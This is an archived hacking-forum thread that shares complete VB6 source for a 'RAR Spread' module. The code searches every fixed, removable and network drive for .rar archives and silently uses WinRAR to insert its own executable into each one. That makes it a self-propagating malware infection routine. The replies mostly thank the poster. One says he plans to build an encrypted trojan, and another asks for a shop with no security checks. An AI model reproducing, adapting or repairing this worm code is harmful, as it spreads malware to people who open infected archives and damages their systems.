PDA

View Full Version : [SRC] RAR Spread [VB6]



manzalawi
01-29-2011, 11:37 AM
'---------------------------------------------------------------------------------------
' Module : mRarSpread
' DateTime : 2010/01/13
' Coder : ParadoX
' Purpose : Injects own file into every rar-file on system
' Usage : At your own risk
' Call SearchAndInfectRars [Starts the proccess]
' Requirements: None
'---------------------------------------------------------------------------------------

Option Explicit

Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetLogicalDriveStrings Lib "kernel32" Alias "GetLogicalDriveStringsA" (ByVal nBufferLength As Long, ByVal lpBuffer As String) As Long
Private Declare Function CopyFile Lib "kernel32.dll" Alias "CopyFileA" (ByVal lpExistingFileName As String, ByVal lpNewFileName As String, ByVal bFailIfExists As Long) As Long
Private Declare Function GetShortPathName Lib "kernel32.dll" Alias "GetShortPathNameA" (ByVal lpszLongPath As String, ByVal lpszShortPath As String, ByVal cchBuffer As Long) As Long
Private Declare Function GetModuleHandle Lib "kernel32" Alias "GetModuleHandleA" (ByVal lpModuleName As String) As Long
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long
Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Const MAX_PATH = 260
Private Const INVALID_HANDLE_VALUE = -1
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Public Function SearchAndInfectRars() As Boolean
On Error Resume Next

If Dir(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe") <> "" Then
Dim sBuffer As String * 255
Dim sDrives As String
Dim lResult As Long
Dim sDrive As String
Dim sPos As Integer
Dim lType As Long

Call CopyFile(App.Path & "\" & App.EXEName & ".exe", Environ("HOMEDRIVE") & App.EXEName & ".exe", False)

lResult = GetLogicalDriveStrings(Len(sBuffer), sBuffer)
sDrives = Left$(sBuffer, lResult)

While Len(sDrives) > 0
sPos = InStr(sDrives, Chr$(0))
sDrive = Left$(sDrives, sPos - 1)
sDrives = Mid$(sDrives, sPos + 1)

lType = GetDriveType(sDrive)

If lType = 2 Or lType = 3 Or lType = 4 Then
Call FindFiles(Left$(sDrive, 2), "*.rar")
End If
Wend
End If
End Function

Private Function RARSpread(ByVal WinrarPath As String, ByVal RarArchive As String, ByVal Malware As String) As Boolean
On Error GoTo err:
If (Dir(WinrarPath) <> "") And (Dir(RarArchive) <> "") And (Dir(Malware) <> "") Then
Dim lRet As Long
lRet = ShellExecute(GetModuleHandle(App.Path), "open", WinrarPath, " a -y " & RarArchive & " " & Malware, "C:\", 0)
If lRet = 42 Then
RARSpread = True
Else
RARSpread = False
End If
Else
RARSpread = False
End If
Exit Function
err:
RARSpread = False
End Function

Private Sub FindFiles(ByVal vsFolderPath As String, ByVal vsSearch As String)
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strDirName As String

DoEvents

If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If

hSearch = FindFirstFile(vsFolderPath & "*.*", WFD)

If hSearch <> INVALID_HANDLE_VALUE Then GetFilesInFolder vsFolderPath, vsSearch

Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) Then strDirName = TrimNulls(WFD.cFileName)
If (strDirName <> ".") And (strDirName <> "..") Then
FindFiles vsFolderPath & strDirName, vsSearch
End If

Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
Kill "C:\" & App.EXEName & ".exe"
End Sub

Private Sub GetFilesInFolder(ByVal vsFolderPath As String, ByVal vsSearch As String)
On Error Resume Next
Dim WFD As WIN32_FIND_DATA
Dim hSearch As Long
Dim strFileName As String
Dim lVal As Long
Dim short_path As String

If Right$(vsFolderPath, 1) <> "\" Then
vsFolderPath = vsFolderPath & "\"
End If

hSearch = FindFirstFile(vsFolderPath & vsSearch, WFD)

If hSearch <> INVALID_HANDLE_VALUE Then
Do
If (WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY Then
strFileName = TrimNulls(WFD.cFileName)
short_path = Space$(256)
lVal = GetShortPathName(vsFolderPath & strFileName, short_path, Len(short_path))
Call RARSpread(Environ("ProgramFiles") & "\WinRAR\WinRAR.exe", Left$(short_path, lVal), Environ("HOMEDRIVE") & App.EXEName & ".exe")
End If

Loop While FindNextFile(hSearch, WFD)
FindClose hSearch
End If
End Sub

Private Function TrimNulls(ByVal vsStringIn As String) As String
If InStr(vsStringIn, Chr(0)) > 0 Then
vsStringIn = Left$(vsStringIn, InStr(vsStringIn, Chr(0)) - 1)
End If
TrimNulls = vsStringIn
End Function


dont 4get say thx :)

yuiseto
02-01-2011, 08:13 PM
thank you bro!

poninay
02-02-2011, 02:34 AM
nc 1......tnx

mhdri
02-25-2011, 09:15 PM
good goood

zaki1971
02-27-2011, 10:31 AM
Good thread! Liked it.

k0r
03-08-2011, 09:23 PM
run on execution?

sisqo
03-09-2011, 11:25 AM
excelent job bro

sisqo
03-09-2011, 11:26 AM
pls i need a good webside where i can shop in europe ,usa and asia without asking more security

trantam
03-09-2011, 07:28 PM
Good thread! Liked it

otheridentity
03-17-2011, 12:57 AM
Thanks man it helps

mc0d3
03-19-2011, 04:56 PM
thank you dude

antitos
03-21-2011, 05:56 PM
hmm, a good source

4don4i
04-21-2012, 10:08 PM
Good thread! Liked it and i thing that they will be moore...:D

HiniAes
07-02-2012, 04:11 AM
Thanks fir this im planning on making a encrypted vb6 trojan.

kolltantes
07-08-2012, 04:41 PM
nice source...
tks!

Koll Tantes

mikey
04-02-2013, 09:40 PM
thanks, its helps me out, I been looking for something like that thought ! :courage:

KemyKO
10-15-2015, 05:58 PM
it says for me 79 errors.... why?

h9zz
12-23-2016, 11:30 AM
good sharing bro

Montrealer509
06-18-2017, 11:53 PM
oh my god , thank u

slkfjo
06-28-2019, 05:38 PM
Nice post!

4ndrei
12-10-2021, 10:23 AM
Good thread!